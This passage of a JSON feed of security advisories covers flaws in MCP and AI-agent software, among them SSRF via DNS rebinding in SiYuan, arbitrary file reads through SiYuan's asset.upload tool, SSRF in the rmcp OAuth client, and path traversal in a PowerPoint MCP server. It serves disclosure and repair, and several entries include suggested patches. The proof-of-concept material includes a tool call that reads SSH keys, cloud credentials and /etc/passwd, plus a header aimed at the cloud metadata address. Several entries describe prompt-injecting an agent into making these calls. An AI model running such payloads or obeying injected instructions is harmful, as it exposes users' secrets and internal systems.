      "date_published": "2026-10-05T21:16:35.087Z",
      "date_modified": "2026-10-09T20:17:09.307Z",
      "tags": [
        "UNKNOWN",
        "langflow",
        "langflow-base",
        "lfx",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-x8gv-g2g3-65fj",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-x8gv-g2g3-65fj",
      "title": "[UNKNOWN] GHSA-x8gv-g2g3-65fj: SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)",
      "summary": "SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-x8gv-g2g3-65fj</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> github.com/siyuan-note/siyuan/kernel</p>\n<p><strong>Details:</strong><br># Security Advisory — SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of `CheckHostSSRF`)\n\n| Field | Value |\n|---|---|\n| **Disclosed by** | joysinleung (`joysinleung@gmail.com`) |\n| **Report date** | 2026-08-13 |\n| **Product** | SiYuan (思源笔记) — `siyuan-note/siyuan` |\n| **Go module** | `github.com/siyuan-note/siyuan/kernel` |\n| **Affected versions** | `<= 3.8.0` (latest release at report time; dynamically verified on v3.8.0) |\n| **Patched versions** | 3.8.1 |\n| **Component** | `kernel/util/httprequest.go` (`CheckHostSSRF`), `kernel/mcp/tools/http_request.go`, `kernel/util/webfetch.go`, `kernel/util/net.go` (`SSRFSafeDialer`) |\n| **Relationship to prior advisory** | **Incomplete-fix variant of GHSA-rg26-cg95-gq6p** (SSRF main-vector remediation). See §Relationship. |\n| **EPSS (exploitation probability)** | Low–Moderate. Requires the attacker to influence an AI Agent / MCP client into fetching an attacker-controlled domain (prompt-injection scenario documented by the tool itself). |\n| **KEV (CISA Known Exploited)** | No (not listed in CISA KEV at report time). |\n| **Default-config reachable** | **Yes** — exploitable under *both* `SafeMode` on and off; only requires the agent `http_request` / `web_fetch` tool to be reachable (default AI tooling). |\n\n---\n\n## Summary\n\nSiYuan's AI Agent tools `http_request` (`util.HTTPRequest`) and `web_fetch` (`util.WebFetch`) are the only SSRF gate for outbound requests from the kernel. That gate is `CheckHostSSRF`, which performs a **single DNS resolution at guard time** and checks whether any returned IP is private/loopback/link-local. The actual connection, however, performs a **second, independent DNS resolution** through the default `net.Dialer` — and **no connect-time private-IP check is mounted** on this path.\n\nBecause the two resolutions are not pinned to the same result, an attacker-controlled domain can answer the guard-resolution with a **public IP** (passing `CheckHostSSRF`) and the connect-resolution with a **private/loopback/metadata IP** (e.g. `169.254.169.254`). This is a classic **DNS-rebinding TOCTOU** that bypasses the SSRF defense entirely. It reaches cloud instance metadata and internal services that the guard was specifically added to block.\n\n## Relationship to Prior Advisories\n\n- **GHSA-rg26-cg95-gq6p** remediated the SSRF *main vector* by adding `CheckHostSSRF` (parse-time) **and** `SSRFSafeDialer` (connect-time). However, **the agent tool paths (`http_request` / `web_fetch`) only received the parse-time half**: they call `CheckHostSSRF` but then connect via `httpclient.NewBrowserRequest()`, whose transport does **not** mount `SSRFSafeDialer`. Even where `SSRFSafeDialer` *is* mounted, it only blocks private IPs when `SafeMode == true` (default false), so it would not help here regardless. The sibling path `openai.go:generatedImageDialer` *does* mount a connect-time `Control` hook (blocking private/loopback/link-local/100.64/198.18), proving the project knows the technique — the agent path is a clear omission. We report this as an **incomplete-fix variant** with a concrete v3.8.0 reproduction.\n- **CVE-2026-32110** (GHSA-56cv-c5p2-j2wg) covered the older `forwardProxy` endpoint and is unrelated to the agent tool path.\n\n## Affected Version\n\n**Dynamically verified on v3.8.0** (tag `v3.8.0`, commit `251596fc0`). A process-level DNS hijack was installed so that the attacker domain `rebind.local` returns a public IP (`203.0.113.1`) on odd (guard) resolutions and `127.0.0.1` on even (connect) resolutions; a loopback \"victim\" service returned `F9_REBIND_PROOF=reached-internal-only-service-via-TOCTOU`. Both `util.HTTPRequest(\"GET\", \"http://rebind.local:<port>/secret\")` and `util.WebFetch(...)` returned the internal-only proof body, while `CheckHostSSRF(\"127.0.0.1\")` directly blocked and the legit public domain `pub.local` passed — confirming the guard passed but the connection hit the internal address. All versions `<= 3.8.0` are affected.\n\n## Component\n\n- `kernel/util/httprequest.go:42` `CheckHostSSRF` — single `net.LookupIP` + `isPrivateIP` at guard time only.\n- `kernel/mcp/tools/http_request.go:90` → `util.HTTPRequest`; `kernel/util/webfetch.go:50` → `CheckHostSSRF` + `httpclient.NewBrowserRequest()`.\n- `github.com/siyuan-note/httpclient` `client.go:92` `NewBrowserRequest` uses the default `http.Transport` → default `net.Dialer` with **no `SSRFSafeDialer`**.\n- `kernel/util/net.go:151` `SSRFSafeDialer` exists but is (a) not mounted on the agent path and (b) only active under `SafeMode`.\n- Correctly-defended sibling: `kernel/util/openai.go:829` `generatedImageDialer` mounts a connect-time `Control` hook.\n\n\n## Attack Vector\n\n**Network + AI Agent.** The `url` of `http_request` / `web_fetch` is fully controlled by the agent / MCP client. In SiYuan's documented red-team scenario (\"prompt-inject the agent → induce it to visit an attacker domain\"), the attacker needs only a rebinding domain (own authoritative DNS, first answer public, later `169.254.169.254` / internal). No auth, no special position beyond prompting the agent. Real targets: cloud metadata `169.254.169.254` (IMDSv1 IAM creds) and same-host/internal unauthenticated services.\n\n## Proof of Concept\n\n```\n# Attacker authoritative DNS for rebind.local:\n#   odd  query (guard)  -> 203.0.113.1   (public, passes CheckHostSSRF)\n#   even query (dial)   -> 127.0.0.1     (loopback internal victim)\n#\n# Directly invoke the real agent-tool functions (v3.8.0 code path):\nutil.HTTPRequest(\"GET\", \"http://rebind.local:15353/secret\", ...)\nutil.WebFetch(\"http://rebind.local:15353/secret\", ...)\n\n# Result (evidence):\n#   body = \"F9_REBIND_PROOF=reached-internal-only-service-via-TOCTOU\"\n# Negative control: CheckHostSSRF(\"127.0.0.1\") -> blocked.\n# Positive control: CheckHostSSRF(\"pub.local\") -> 203.0.113.1, allowed.\n```\n\nThe loopback victim is a faithful stand-in for `169.254.169.254` / any internal address: the guard allowed a public IP while the connection reached a private one.\n\n## Impact\n\nConfidentiality breach via SSRF: an attacker who can steer the agent can read cloud instance metadata (IAM temporary credentials), internal service responses, and anything reachable from the SiYuan kernel's network position. Scope is changed (`S:C`) because the kernel often runs with cloud-instance privileges. Exploitable under default config (SafeMode on or off).\n\n## Scope\n\nReachable whenever the agent `http_request` / `web_fetch` tool is usable (default AI tooling). Independent of Publish/auth configuration. Not gated by `SafeMode`.\n\n## Remediation\n\n1. **Connect-time enforcement (preferred)**: mount `SSRFSafeDialer` (or a dedicated always-on private-IP `Control` hook) on the transport used by `http_request` / `web_fetch`, independent of `SafeMode` — matching the already-correct `generatedImageDialer`.\n2. **Pin resolution**: after `CheckHostSSRF` passes, reuse the *same* resolved IP for the connection (or short-TTL cache) so guard and dial cannot diverge.\n3. **Minimum change**: replace `httpclient.NewBrowserRequest()` in `http_request.go` / `webfetch.go` with a custom client whose `DialContext` is `util.SSRFSafeDialer(timeout).DialContext` (not `SafeMode`-gated).\n\n> Note: patch authored against v3.8.0 source; regression-tested in the researcher's environment for the PoC path but not compiled into a full SiYuan release build. Provided for the maintainer to validate in CI.\n\n---\n\n## Appendix: Suggested Patch (F9)\n\n```diff\ndiff --git a/kernel/util/httprequest.go b/kernel/util/httprequest.go\nindex aaa..bbb 100644\n--- a/kernel/util/httprequest.go\n+++ b/kernel/util/httprequest.go\n@@ -40,6 +40,18 @@ func CheckHostSSRF(host string) error {\n \treturn nil\n }\n \n+// SSRFSafeClient returns an *http.Client whose transport enforces the\n+// private/loopback/link-local IP block at CONNECT time (independent of SafeMode),\n+// closing the DNS-rebinding TOCTOU left by parse-time-only CheckHostSSRF.\n+func SSRFSafeClient(timeout time.Duration) *http.Client {\n+\treturn &http.Client{\n+\t\tTimeout: timeout,\n+\t\tTransport: &http.Transport{\n+\t\t\tDialContext: util.SSRFSafeDialer(timeout).DialContext,\n+\t\t},\n+\t}\n+}\n+\n diff --git a/kernel/mcp/tools/http_request.go b/kernel/mcp/tools/http_request.go\n index ccc..ddd 100644\n--- a/kernel/mcp/tools/http_request.go\n+++ b/kernel/mcp/tools/http_request.go\n@@ -90,7 +90,7 @@ func httpRequest(args map[string]any) (CallToolResult, error) {\n \tif serr := util.CheckHostSSRF(u.Hostname()); serr != nil {\n \t\treturn CallToolResult{}, serr\n \t}\n-\tresp, err := httpclient.NewBrowserRequest().Get(rawURL)\n+\tresp, err := util.SSRFSafeClient(30 * time.Second).Get(rawURL)\n \t...\n }\n diff --git a/kernel/util/webfetch.go b/kernel/util/webfetch.go\n index eee..fff 100644\n--- a/kernel/util/webfetch.go\n+++ b/kernel/util/webfetch.go\n@@ -50,7 +50,7 @@ func WebFetch(rawURL string, ...) (string, error) {\n \tif serr := util.CheckHostSSRF(u.Hostname()); serr != nil {\n \t\treturn \"\", serr\n \t}\n-\tresp, err := httpclient.NewBrowserRequest().Get(rawURL)\n+\tresp, err := util.SSRFSafeClient(30 * time.Second).Get(rawURL)\n \t...\n }\n```</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-x8gv-g2g3-65fj\">https://github.com/siyuan-note/siyuan/security/advisories/GHSA-x8gv-g2g3-65fj</a></li>\n<li><a href=\"https://github.com/siyuan-note/siyuan/commit/dd2778b70d020b15491ef7418f5f63214583cd63\">https://github.com/siyuan-note/siyuan/commit/dd2778b70d020b15491ef7418f5f63214583cd63</a></li>\n<li><a href=\"https://github.com/siyuan-note/siyuan/releases/tag/v3.8.1\">https://github.com/siyuan-note/siyuan/releases/tag/v3.8.1</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-x8gv-g2g3-65fj\">https://github.com/advisories/GHSA-x8gv-g2g3-65fj</a></li>\n</ul></p>",
      "date_published": "2026-10-02T23:17:16Z",
      "date_modified": "2026-10-02T23:17:29Z",
      "tags": [
        "UNKNOWN",
        "github.com/siyuan-note/siyuan/kernel"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-p23f-cm6q-2qp8",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p23f-cm6q-2qp8",
      "title": "[UNKNOWN] GHSA-p23f-cm6q-2qp8: SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)",
      "summary": "SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-p23f-cm6q-2qp8</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> github.com/siyuan-note/siyuan/kernel</p>\n<p><strong>Details:</strong><br># Security Advisory — SiYuan MCP `asset.upload` Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)\n\n| Field | Value |\n|---|---|\n| **Disclosed by** | joysinleung (`joysinleung@gmail.com`) |\n| **Report date** | 2026-08-13 |\n| **Product** | SiYuan (思源笔记) — `siyuan-note/siyuan` |\n| **Go module** | `github.com/siyuan-note/siyuan/kernel` |\n| **Affected versions** | `<= 3.8.0` (latest release at report time; statically confirmed on v3.8.0) |\n| **Patched versions** | 3.8.1 |\n| **Component** | `kernel/mcp/tools/asset.go` (`assetUpload`), `kernel/model/upload.go` (`InsertLocalAssets`) |\n| **Relationship to prior advisory** | **Residual of CVE-2026-66012** (GHSA-cvhv-7xhj-xjp8) MCP remediation. See §Relationship. |\n| **EPSS (exploitation probability)** | Low. Requires the AI Agent to invoke `asset.upload` and the user to approve the (category-level) confirmation; reachable via prompt-injection of the agent. |\n| **KEV (CISA Known Exploited)** | No (not listed in CISA KEV at report time). |\n| **Default-config reachable** | **Partial** — requires the Agent/MCP surface to be configured (admin) and a user approval click; the boundary check itself is entirely absent, so any approved upload reads outside the workspace. |\n\n---\n\n## Summary\n\nSiYuan exposes a native MCP tool `asset` → `asset.upload`. Its `files` argument is documented as a **comma-separated list of absolute file paths**. The handler (`kernel/mcp/tools/asset.go:195`) only normalizes each entry with `filepath.Abs(...)` — it performs **no workspace boundary check** (`IsSubPath`) and **no sensitive-path check** (`IsSensitivePath`). The downstream `model.InsertLocalAssets` (`kernel/model/upload.go:97`) then `os.Open`s each path and copies its bytes into the workspace `assets/` directory.\n\nEvery other AI-plane file primitive in SiYuan is workspace-constrained:\n- `file` / `unzip` tools resolve paths via `resolvePath` (workspace-relative, escape-proof).\n\n`asset.upload` is the **only** AI tool that accepts arbitrary absolute paths with zero boundary validation. An attacker who can steer the Agent (prompt injection) can induce it to upload sensitive files — e.g. `/Users/victim/.ssh/id_rsa`, `~/.aws/credentials`, `/etc/passwd` — into the workspace, from where they are reachable via notes / export / sync.\n\n## Relationship to Prior Advisories\n\n- **CVE-2026-66012** (GHSA-cvhv-7xhj-xjp8) remediated the MCP endpoint by requiring `CheckAdminRole` on `/mcp` and adding `refuseToAccess` for `conf/conf.json` in the *file* tool. However, the **`asset.upload` tool was never given a workspace boundary check** — it still accepts and reads any absolute path. This is a **residual boundary omission** from that remediation: the admin gate restricts *who* may call MCP, but does not constrain *which files* `asset.upload` may read. We report it as the unpatched half of the MCP file-surface hardening.\n\n## Affected Version\n\nStatically confirmed on the latest release **v3.8.0** (tag `v3.8.0`, commit `251596fc0`):\n- `kernel/mcp/tools/asset.go:195` `assetUpload`: `abs, _ := filepath.Abs(strings.TrimSpace(f))` — normalization only.\n- `kernel/model/upload.go:97` `InsertLocalAssets`: iterates the path list and `os.Open(assetAbsPath)` → `writeAssetFile(writePath, ...)` into `assetsDirPath`; the `IsSubPath(assetsDirPath, assetAbsPath)` check at line 130 is **only a dedup guard**, not a boundary limit. No workspace/external restriction is applied.\n\n## Component\n\n- `kernel/mcp/tools/asset.go:195` — `assetUpload` (`files` arg → `filepath.Abs` only).\n- `kernel/model/upload.go:97` — `InsertLocalAssets` (`os.Open` + copy to `assets/`).\n- Contrast (safe): `kernel/mcp/tools/unzip.go:52` `unzipHandler` uses `resolvePath` (workspace-relative, escape-proof).\n\n## Attack Vector\n\n**AI Agent / prompt injection.** Victim lets the Agent process attacker-controlled web/note content → agent is induced to call `asset.upload` with `/Users/victim/.ssh/id_rsa` (or similar) as a `files` entry. The user sees a **category-level** confirmation (\"upload asset\") that does **not** display the specific source path, so the approval is effectively blind to the actual file being read. Once approved, the file is copied into the workspace and exfiltrated via notes/export/sync. No admin role is required beyond the existing Agent/MCP configuration.\n\n## Proof of Concept\n\n```jsonc\n// Agent tool call (asset.upload), attacker-influenced files argument:\n{\n  \"id\": \"<someBlockID>\",\n  \"files\": \"/Users/victim/.ssh/id_rsa,/Users/victim/.aws/credentials,/etc/passwd\"\n}\n```\nHandler flow:\n1. `filepath.Abs(\"/Users/victim/.ssh/id_rsa\")` → `/Users/victim/.ssh/id_rsa` (no `IsSubPath`/`IsSensitivePath` rejection).\n2. `InsertLocalAssets` → `os.Open` → bytes copied into `<workspace>/data/assets/...`.\n3. The private key is now readable via the workspace file API / export / sync.\n\n## Impact\n\nConfidentiality breach: arbitrary local file read (including SSH keys, cloud credentials, OS secrets) through the AI plane. Integrity/availability not directly impacted. Severity is moderated by the required user approval step, but the approval dialog does not reveal the real source path, so the user cannot make an informed decision.\n\n## Scope\n\nReachable only when the Agent/MCP surface is configured and the user approves the upload action. The boundary check is absent regardless of config — any approved upload reads outside the workspace.\n\n## Remediation\n\n1. **Add boundary enforcement in `assetUpload`**: reject any entry where `!util.IsSubPath(util.WorkspaceDir, abs)` or `util.IsSensitivePath(abs)` (same checks used elsewhere).\n2. **Show the real source path in the confirmation dialog** so the user can make an informed decision (currently the `LocalWrite` gate is action-category based and hides the specific path).\n3. Mirror the `resolvePath` workspace-relative constraint already applied to the `file` / `unzip` tools.\n\n> Note: patch authored against v3.8.0 source; not compiled into a full SiYuan release build. Provided for the maintainer to validate in CI.\n\n---\n\n## Appendix: Suggested Patch (F10)\n\n```diff\ndiff --git a/kernel/mcp/tools/asset.go b/kernel/mcp/tools/asset.go\nindex aaa..bbb 100644\n--- a/kernel/mcp/tools/asset.go\n+++ b/kernel/mcp/tools/asset.go\n@@ -195,8 +195,16 @@ func assetUpload(args map[string]any) (CallToolResult, error) {\n \tfileList := strings.Split(filesStr, \",\")\n \tfor i, f := range fileList {\n \t\tabs, err := filepath.Abs(strings.TrimSpace(f))\n-\t\tif err != nil {\n+\t\tif err != nil {\n \t\t\treturn CallToolResult{}, err\n \t\t}\n+\t\t// 边界校验：仅允许工作区内的资产，拒绝任意绝对路径越界读\n+\t\tif !util.IsSubPath(util.WorkspaceDir, abs) || util.IsSensitivePath(abs) {\n+\t\t\tret.Code = -1\n+\t\t\tret.Msg = fmt.Sprintf(\"asset path %s is outside the workspace or sensitive\", abs)\n+\t\t\treturn CallToolResult{}, fmt.Errorf(\"asset path outside workspace: %s\", abs)\n+\t\t}\n \t\tfileList[i] = abs\n \t}\n \tsuccMap, err := model.InsertLocalAssets(id, fileList, true)\n```</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p23f-cm6q-2qp8\">https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p23f-cm6q-2qp8</a></li>\n<li><a href=\"https://github.com/siyuan-note/siyuan/commit/b26a4a307b8ae5067387ea76ce1fad6b7f4bf9e7\">https://github.com/siyuan-note/siyuan/commit/b26a4a307b8ae5067387ea76ce1fad6b7f4bf9e7</a></li>\n<li><a href=\"https://github.com/siyuan-note/siyuan/releases/tag/v3.8.1\">https://github.com/siyuan-note/siyuan/releases/tag/v3.8.1</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-p23f-cm6q-2qp8\">https://github.com/advisories/GHSA-p23f-cm6q-2qp8</a></li>\n</ul></p>",
      "date_published": "2026-10-02T23:16:56Z",
      "date_modified": "2026-10-02T23:17:27Z",
      "tags": [
        "UNKNOWN",
        "github.com/siyuan-note/siyuan/kernel"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-c9xm-49cp-xcr9",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-c9xm-49cp-xcr9",
      "title": "[UNKNOWN] GHSA-c9xm-49cp-xcr9: rmcp OAuth client fetches server-controlled resource_metadata URLs",
      "summary": "rmcp OAuth client fetches server-controlled resource_metadata URLs",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-c9xm-49cp-xcr9</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> rmcp</p>\n<p><strong>Details:</strong><br>## Summary\n\nThe `rmcp` OAuth client accepts a server-controlled `resource_metadata=` URL from the `WWW-Authenticate` header and fetches it without same-origin or private-network validation.\n\nAn attacker-controlled MCP server can return a `401 WWW-Authenticate: Bearer resource_metadata=\"...\"` header pointing at an internal URL, including localhost, RFC 1918 addresses, or cloud metadata endpoints. The client then performs an outbound GET to that URL from the victim application's network context.\n\n## Affected version\n\n- Repository: `modelcontextprotocol/rust-sdk`\n- Crate: `rmcp`\n- Current `main` reviewed: `c330fede90e4729c234f8e87fdbc5ea27a1dd10c`\n- Commit date: 2026-05-19\n- Affected file: `crates/rmcp/src/transport/auth.rs`\n- File blob: `3aa3e91310662c409af9dc38c9d584d6df217e9c`\n- Severity framing: High/Medium SSRF, depending on the embedding application's network position and whether response parsing gives the attacker useful success/failure or chained fetch behavior.\n\n## Source evidence\n\n`extract_www_authenticate_params()` accepts an absolute URL from the server-controlled header:\n\n```rust\nlet resource_key = \"resource_metadata=\";\nwhile let Some(pos) = header_lowercase[search_offset..].find(resource_key) {\n    let global_pos = search_offset + pos + resource_key.len();\n    let value_slice = &header[global_pos..];\n    if let Some((value, consumed)) = Self::parse_next_header_value(value_slice) {\n        if let Ok(url) = Url::parse(&value) {\n            params.resource_metadata_url = Some(url);\n            break;\n        }\n        if let Ok(url) = base_url.join(&value) {\n            params.resource_metadata_url = Some(url);\n            break;\n        }\n```\n\nThere is no check that the parsed URL shares origin with the original MCP server, and no block for loopback, link-local, RFC 1918, or metadata hostnames.\n\n`fetch_resource_metadata_from_url()` then performs the GET:\n\n```rust\nlet response = match self\n    .http_client\n    .get(resource_metadata_url.clone())\n    .header(HEADER_MCP_PROTOCOL_VERSION, \"2024-11-05\")\n    .send()\n    .await\n```\n\nAgain, there is no same-origin, scheme, host, DNS, or IP-range validation before the request.\n\n## Attack scenario\n\n1. A Rust MCP client using `rmcp` connects to an attacker-controlled MCP server, or to a compromised MCP server.\n2. The server responds to OAuth discovery with a `401` and a `WWW-Authenticate` header such as:\n\n```text\nWWW-Authenticate: Bearer resource_metadata=\"http://169.254.169.254/latest/meta-data/\"\n```\n\n3. The client parses the `resource_metadata` value as a URL.\n4. The client sends a GET request to that URL from the victim application's network context.\n\nThis can be used to probe internal services. In environments where the target endpoint returns JSON matching the expected metadata shape, the flow can also chain into additional authorization-server metadata fetches.\n\n## Impact\n\nThe direct impact is SSRF from any application embedding the rmcp OAuth client. Depending on where the client runs, this can reach:\n\n- cloud metadata endpoints;\n- localhost-only services;\n- private VPC or container-network services;\n- internal HTTP APIs not reachable from the attacker.\n\nThe attacker controls the URL through the MCP server response. The victim only needs to connect to the attacker's MCP server or a compromised server that can emit the crafted `WWW-Authenticate` header.\n\n## Public duplicate check\n\nOn 2026-05-27:\n\n- Visible repository advisories were:\n  - `GHSA-9g45-5xwm-f3wc`: custom HTTP headers leak to cross-origin redirect targets.\n  - `GHSA-89vp-x53w-74fx`: DNS rebinding in Streamable HTTP server transport.\n- Public issue search for `WWW-Authenticate resource_metadata SSRF` returned no open or closed matches.\n- Public issue search for `resource_metadata` returned one closed implementation issue, `#517`, about authorization discovery fallback behavior, not SSRF/resource validation.\n\nThis report is distinct from the redirect-header advisory and the DNS-rebinding advisory.\n\n## Suggested fix\n\nBefore accepting or fetching a `resource_metadata` URL:\n\n- require the URL to be same-origin with the original MCP server URL, unless the spec intentionally permits a narrow trusted exception;\n- reject loopback, link-local, RFC 1918, unique-local IPv6, and known cloud metadata hostnames;\n- reject non-HTTP(S) schemes;\n- apply the same validation to redirect targets and any follow-on metadata URLs.\n\nA minimal same-origin check would compare scheme, host, and effective port:\n\n```rust\nfn is_same_origin(base: &Url, candidate: &Url) -> bool {\n    base.scheme() == candidate.scheme()\n        && base.host() == candidate.host()\n        && base.port_or_known_default() == candidate.port_or_known_default()\n}\n```\n\nIf cross-origin `resource_metadata` is required for compatibility, it should be explicitly opted into and protected by private-network blocking.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-c9xm-49cp-xcr9\">https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-c9xm-49cp-xcr9</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/rust-sdk/pull/935\">https://github.com/modelcontextprotocol/rust-sdk/pull/935</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/rust-sdk/commit/eb435c6f51864df74926ef115befce55c16b01ba\">https://github.com/modelcontextprotocol/rust-sdk/commit/eb435c6f51864df74926ef115befce55c16b01ba</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0\">https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0</a></li>\n</ul></p>",
      "date_published": "2026-10-02T16:12:31Z",
      "date_modified": "2026-10-02T16:12:32Z",
      "tags": [
        "UNKNOWN",
        "rmcp"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-104120",
      "url": "https://github.com/modelcontextprotocol/servers/issues/4492",
      "title": "[UNKNOWN] CVE-2026-104120: A security vulnerability has been detected in modelcontextprotocol mcp-server-fetch and mcp-server-everything up to 2026",
      "summary": "A security vulnerability has been detected in modelcontextprotocol mcp-server-fetch and mcp-server-everything up to 2026",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-104120</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>A security vulnerability has been detected in modelcontextprotocol mcp-server-fetch and mcp-server-everything up to 2026.6.4. Affected is the function fetch_url of the file mcp_server_fetch/server.py of the component Fetch Tool. The manipulation of the argument url/path leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The pull request to fix this issue awaits acceptance.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/servers/issues/4492\">https://github.com/modelcontextprotocol/servers/issues/4492</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/servers/pull/4890\">https://github.com/modelcontextprotocol/servers/pull/4890</a></li>\n<li><a href=\"https://vuldb.com/cve/CVE-2026-104120\">https://vuldb.com/cve/CVE-2026-104120</a></li>\n<li><a href=\"https://vuldb.com/submit/960099\">https://vuldb.com/submit/960099</a></li>\n</ul></p>",
      "date_published": "2026-10-02T03:16:38.840Z",
      "date_modified": "2026-10-06T03:16:59.463Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2025-71427",
      "url": "https://github.com/GongRzhe/Office-PowerPoint-MCP-Server",
      "title": "[UNKNOWN] CVE-2025-71427: Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and ",
      "summary": "Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2025-71427</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and read files outside the working directory by supplying absolute paths or ../ sequences. Attackers can steer an AI agent via prompt injection to abuse save_presentation, open_presentation, or manage_image output_path to overwrite any server-writable file or load external files.\n\nOffice-PowerPoint-MCP-Server hasta la versión 2.0.7 contiene una vulnerabilidad de salto de ruta que permite a los llamadores de MCP escribir y leer archivos fuera del directorio de trabajo al proporcionar rutas absolutas o secuencias ../. Los atacantes pueden dirigir un agente de IA mediante inyección de prompts para abusar de save_presentation, open_presentation o manage_image output_path y sobrescribir cualquier archivo escribible por el servidor o cargar archivos externos.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/GongRzhe/Office-PowerPoint-MCP-Server\">https://github.com/GongRzhe/Office-PowerPoint-MCP-Server</a></li>\n<li><a href=\"https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/tools/presentation_tools.py#L127-L141\">https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/tools/presentation_tools.py#L127-L141</a></li>\n<li><a href=\"https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/utils/presentation_utils.py#L61-L73\">https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/utils/presentation_utils.py#L61-L73</a></li>\n<li><a href=\"https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/pull/33\">https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/pull/33</a></li>\n</ul></p>",
      "date_published": "2026-10-01T23:16:46.613Z",
      "date_modified": "2026-10-14T13:10:00.187Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-103758",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-6fwv-3h4c-37j9",
      "title": "[UNKNOWN] CVE-2026-103758: Obot 0.21.1 through 0.24.1 contains an authorization bypass vulnerability that allows authenticated users to reach MCP s",
      "summary": "Obot 0.21.1 through 0.24.1 contains an authorization bypass vulnerability that allows authenticated users to reach MCP s",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-103758</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Obot 0.21.1 through 0.24.1 contains an authorization bypass vulnerability that allows authenticated users to reach MCP servers because the checkUI deny list omits the /mcp-connect-composite/ route. Basic-role users with a composite MCP ID can proxy requests through mcpGateway.Proxy to invoke tools on MCP servers restricted by Access Control Rules.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/obot-platform/obot/security/advisories/GHSA-6fwv-3h4c-37j9\">https://github.com/obot-platform/obot/security/advisories/GHSA-6fwv-3h4c-37j9</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/obot-0.21.1-through-0.24.1-authorization-bypass-via-mcp-connect-composite-route\">https://www.vulncheck.com/advisories/obot-0.21.1-through-0.24.1-authorization-bypass-via-mcp-connect-composite-route</a></li>\n</ul></p>",
      "date_published": "2026-10-01T11:17:26.360Z",
      "date_modified": "2026-10-01T15:17:29.407Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-55157",
      "url": "https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7",
      "title": "[UNKNOWN] CVE-2026-55157: Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge gra",
      "summary": "Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge gra",
